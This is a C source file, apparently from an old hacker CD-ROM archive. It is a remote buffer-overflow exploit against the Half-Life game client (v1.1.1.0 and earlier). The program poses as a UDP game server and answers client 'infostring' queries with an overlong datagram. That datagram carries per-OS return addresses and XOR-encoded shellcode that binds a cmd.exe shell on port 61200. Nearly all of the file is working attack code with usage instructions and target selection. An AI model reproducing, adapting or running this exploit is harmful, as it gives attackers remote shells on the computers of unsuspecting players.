home *** CD-ROM | disk | FTP | other *** search
/ H4CK3R 14 / hacker14.iso / exploits / mhl / m00-HL-portbind.c
Encoding:
C/C++ Source or Header  |  2003-08-19  |  6.0 KB  |  190 lines

  1. /*
  2.  *            m00 Security presents
  3.  *  HalfLife client <=v.1.1.1.0 remote exploit
  4.  *
  5.  *  binds cmd.exe shell on port 61200
  6.  *
  7.  *  Avaiable targets:
  8.  *   1. win2k sp3 en
  9.  *   2. winxp nosp ru
  10.  *   3. winxp sp1 ru
  11.  *   4. win98 se2 (u need change shellcode)
  12.  *
  13.  *  Bug discovered by
  14.  *    Auriemma Luigi [www.pivx.com/luigi]
  15.  *
  16.  *  Authors:
  17.  *    d4rkgr3y [grey_1999_at_mail.ru]
  18.  *    Over_G [overg_at_mail.ru]
  19.  *
  20.  *  U can find us at:
  21.  *    irc.wom.ru@m00
  22.  *    irc.dal.net@m00security
  23.  *
  24.  * PS: m00security.org will be avaiable soon ;)
  25. */
  26.  
  27.  
  28. #include <stdio.h>
  29. #include <stdlib.h>
  30. #include <string.h>
  31. #include <unistd.h>
  32. #include <sys/socket.h>
  33. #include <sys/types.h>
  34. #include <arpa/inet.h>
  35. #include <netdb.h>
  36.  
  37. #define PORT 27015
  38.  
  39. char ping[0x12]=
  40.     "\xff\xff\xff\xff\x6a\x00\x20\x20\x20"
  41.     "\x20\x20\x20\x20\x20\x20\x20\x20\x20";
  42.  
  43. unsigned char evilbuf[] =
  44.     /* header of HalfLife udp-datagram | do not edit */
  45.     "\xFF\xFF\xFF\xFF\x69\x6E\x66\x6F\x73\x74\x72\x69"
  46.     "\x6E\x67\x72\x65\x73\x70\x6F\x6E\x73\x65\x00\x5c"
  47.     /* 512 bytes for bof */
  48.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  49.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  50.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  51.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  52.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  53.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  54.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  55.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  56.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  57.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  58.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  59.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  60.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  61.     "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  62.     "AAAAAAAAAAAAAAAAAAAAAA"
  63.     "\x5a\x5a\x5a\x5a" // EIP
  64.     "\x90\x90\x90\x90" // payload for esp
  65.     /* winxp/2k xored portbind shellcode */
  66.     /* If u want to use this xsploit against win9x/ME, change shellcode to another one */
  67.     "\x8B\xC4\x83\xC0\x15\x33\xC9\x66\xB9\xD1\x01\x80\x30\x96\x40\xE2\xFA" // decrypt
  68.     "\x15\x7A\xA2\x1D\x62\x7E\xD1\x97\x96\x96\x1F\x90\x69\xA0\xFE\x18\xD8\x98\x7A\x7E\xF7"
  69.     "\x97\x96\x96\x1F\xD0\x9E\x69\xA0\xFE\x3B\x4F\x93\x58\x7E\xC4\x97\x96\x96\x1F\xD0"
  70.     "\x9A\xFE\xFA\xFA\x96\x96\xFE\xA5\xA4\xB8\xF2\xFE\xE1\xE5\xA4\xC9\xC2\x69\xC0\x9E"
  71.     "\x1F\xD0\x92\x69\xA0\xFE\xE4\x68\x25\x80\x7E\xBB\x97\x96\x96\x1F\xD0\x86\x69\xA0"
  72.     "\xFE\xE8\x4E\x74\xE5\x7E\x88\x97\x96\x96\x1F\xD0\x82\x69\xE0\x92\xFE\x5D\x7B\x6A"
  73.     "\xAD\x7E\x98\x97\x96\x96\x1F\xD0\x8E\x69\xE0\x92\xFE\x4F\x9F\x63\x3B\x7E\x68\x96"
  74.     "\x96\x96\x1F\xD0\x8A\x69\xE0\x92\xFE\x32\x8C\xE6\x51\x7E\x78\x96\x96\x96\x1F\xD0"
  75.     "\xB6\x69\xE0\x92\xFE\x32\x3B\xB8\x7F\x7E\x48\x96\x96\x96\x1F\xD0\xB2\x69\xE0\x92"
  76.     "\xFE\x73\xDF\x10\xDF\x7E\x58\x96\x96\x96\x1F\xD0\xBE\x69\xE0\x92\xFE\x71\xEF\x50"
  77.     "\xEF\x7E\x28\x96\x96\x96\x1F\xD0\xBA\xA5\x69\x17\x7A\x06\x97\x96\x96\xC2\xFE\x97"
  78.     "\x97\x96\x96\x69\xC0\x8E\xC6\xC6\xC6\xC6\xD6\xC6\xD6\xC6\x69\xC0\x8A\x1D\x4E\xC1"
  79.     "\xC1\xFE\x94\x96\x79\x86\x1D\x5A\xFC\x80\xC7\xC5\x69\xC0\xB6\xC1\xC5\x69\xC0\xB2"
  80.     "\xC1\xC7\xC5\x69\xC0\xBE\x1D\x46\xFE\xF3\xEE\xF3\x96\xFE\xF5\xFB\xF2\xB8\x1F\xF0"
  81.     "\xA6\x15\x7A\xC2\x1B\xAA\xB2\xA5\x56\xA5\x5F\x15\x57\x83\x3D\x74\x6B\x50\xD2\xB2"
  82.     "\x86\xD2\x68\xD2\xB2\xAB\x1F\xC2\xB2\xDE\x1F\xC2\xB2\xDA\x1F\xC2\xB2\xC6\x1B\xD2"
  83.     "\xB2\x86\xC2\xC6\xC7\xC7\xC7\xFC\x97\xC7\xC7\x69\xE0\xA6\xC7\x69\xC0\x86\x1D\x5A"
  84.     "\xFC\x69\x69\xA7\x69\xC0\x9A\x1D\x5E\xC1\x69\xC0\xBA\x69\xC0\x82\xC3\xC0\xF2\x37"
  85.     "\xA6\x96\x96\x96\x13\x56\xEE\x9A\x1D\xD6\x9A\x1D\xE6\x8A\x3B\x1D\xFE\x9E\x7D\x9F"
  86.     "\x1D\xD6\xA2\x1D\x3E\x2E\x96\x96\x96\x1D\x53\xC8\xCB\x54\x92\x96\xC5\xC3\xC0\xC1"
  87.     "\x1D\xFA\xB2\x8E\x1D\xD3\xAA\x1D\xC2\x93\xEE\x95\x43\x1D\xDC\x8E\x1D\xCC\xB6\x95"
  88.     "\x4B\x75\xA4\xDF\x1D\xA2\x1D\x95\x63\xA5\x69\x6A\xA5\x56\x3A\xAC\x52\xE2\x91\x57"
  89.     "\x59\x9B\x95\x6E\x7D\x64\xAD\xEA\xB2\x82\xE3\x77\x1D\xCC\xB2\x95\x4B\xF0\x1D\x9A"
  90.     "\xDD\x1D\xCC\x8A\x95\x4B\x1D\x92\x1D\x95\x53\x7D\x94\xA5\x56\x1D\x43\xC9\xC8\xCB"
  91.     "\xCD\x54\x92\x96"
  92.     /* end */
  93.     "\x5C\x00"; // end of udp-HL-datagram. Do not change!
  94.  
  95. char retw2ksp3[] = "\xc5\xaf\xe2\x77";
  96. char retwxpsp0[] = "\x1c\x80\xf5\x77"; // ntdll.dll :: jmp esp
  97. char retwxpsp1[] = "\xba\x26\xe6\x77";
  98. char retw98se2[] = "\xa9\xbf\xda\x7f";
  99.  
  100. int main(int argc, char **argv) {
  101.     int sock, sf, len, i;
  102.     u_short port=PORT;
  103.     struct sockaddr_in fukin_addr, rt;
  104.     char buf[0x1000];
  105.     printf("\n\rHalfLife client v.1.1.1.0 remote exploit by m00 Security\n");
  106.     if(argc!=2) {
  107.         printf("
  108. Usage: %s <remote_os>
  109.  
  110. where os:
  111. 1 - win2k sp3 ru
  112. 2 - winxp nosp ru
  113. 3 - winxp sp1 ru
  114. 4 - win98 se2 ru (need another shellcode)
  115.  
  116. ",argv[0]);
  117.         exit(0);
  118.     }
  119.     if(atoi(argv[1])==1) {
  120.         for(i=0;i<4;i++) {
  121.             evilbuf[536+i]=retw2ksp3[i];
  122.         }
  123.     }
  124.     if(atoi(argv[1])==2) {
  125.         for(i=0;i<4;i++) {
  126.             evilbuf[536+i]=retwxpsp0[i];
  127.         }
  128.     }
  129.     if(atoi(argv[1])==3) {
  130.         for(i=0;i<4;i++) {
  131.             evilbuf[536+i]=retwxpsp1[i];
  132.         }
  133.     }
  134.     if(atoi(argv[1])==4) {
  135.         for(i=0;i<4;i++) {
  136.             evilbuf[536+i]=retw98se2[i];
  137.         }
  138.     }
  139.  
  140.     if((sock = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP))<0) {
  141.         perror("[-] socket()");
  142.         exit(0);
  143.     }
  144.     printf("\n[+] Socket created.\n");
  145.     fukin_addr.sin_addr.s_addr = INADDR_ANY;
  146.     fukin_addr.sin_port        = htons(port);
  147.     fukin_addr.sin_family      = AF_INET;
  148.  
  149.     if(bind(sock, (struct sockaddr *)&fukin_addr, sizeof(fukin_addr))<0) {
  150.         perror("[-] bind()");
  151.         exit(0);
  152.     }
  153.     printf("[+] Port %i binded.\n", port);
  154.     sf = sizeof(rt);
  155.     while(1) {
  156.         if ((len = recvfrom(sock, buf, sizeof(buf), 0, (struct sockaddr *)&rt, &sf))<0) {
  157.             perror("[-] recv()");
  158.             exit(1);
  159.         }
  160.         printf("[+] Incoming udp datagram: ");
  161.          for (i=0;i<=len;i++){
  162.             printf("%c",buf[i]);
  163.         }
  164.         printf("\n[~] Identyfication... ");
  165.         if(strstr(buf,"ping")) {
  166.             printf("PING request\n[~] Sending answer... ");
  167.             if(sendto(sock, ping, sizeof(ping), 0, (struct sockaddr *)&rt, sizeof(rt))<0) {
  168.                 perror("[-] send()");
  169.                 exit(1);
  170.             } else {
  171.                 printf("OK\n");
  172.             }
  173.             continue;
  174.         }
  175.         if(strstr(buf,"infostring")) {
  176.             printf("INFOSTRING request\n[~] Attacking... OK\n");
  177.             printf("[+] Now try to connect to: %s:61200\n", inet_ntoa(rt.sin_addr));
  178.             if(sendto(sock, evilbuf, sizeof(evilbuf), 0, (struct sockaddr *)&rt, sizeof(rt))<0) {
  179.                 perror("[-] send()");
  180.                 exit(1);
  181.             }
  182.             continue;
  183.         }
  184.         printf("unknow request\n");
  185.     }
  186.     close(sock);
  187.     return 0;
  188. }
  189. // mOOOOOOOOOOOOOoooooooooooooooooooooo
  190.